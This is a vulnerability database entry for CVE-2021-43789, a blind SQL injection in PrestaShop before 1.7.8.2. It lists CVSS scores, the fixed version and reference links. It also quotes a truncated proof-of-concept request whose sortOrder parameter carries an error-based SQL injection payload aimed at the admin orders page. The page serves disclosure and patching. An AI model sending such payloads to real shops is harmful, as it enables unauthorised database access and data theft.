Published: 07/12/2021 Updated: 08/12/2021

CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10

CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9

VMScore: 668

Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

PrestaShop is an Open Source e-commerce web application. Versions of PrestaShop before 1.7.8.2 are vulnerable to blind SQL injection using search filters with `orderBy` and `sortOrder` parameters. The problem is fixed in version 1.7.8.2.

Vulnerable Product	Search on Vulmon	Subscribe to Product
prestashop prestashop

Prestashop >= 1.7.5.0 < 1.7.8.2 - SQL injection

CVE-2021-43789 Prestashop >= 1750 < 1782 - SQL injection POC GET /prestashop_1781/admin860ykaqhn/indexphp/sell/orders/?_token=tPhFxoTyY8HLoCWbfVDKdY8Io_1BVL3ZVebYNljeM9M&order[orderBy]=id_order&order[sortOrder]= AND (SELECT 2331 FROM(SELECT COUNT(*),CONCAT(0,(MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,51)),0,FLOOR(RAND(0)*2))x FR

CWE-89 https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-6xxj-gcjq-wgf4 https://github.com/PrestaShop/PrestaShop/releases/tag/1.7.8.2 https://github.com/PrestaShop/PrestaShop/issues/26623 https://nvd.nist.gov https://github.com/numanturle/CVE-2021-43789

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2021-43789

Vulnerability Summary

Vulnerability Trend

Github Repositories

References

Vulmon Search

About

Products

Connect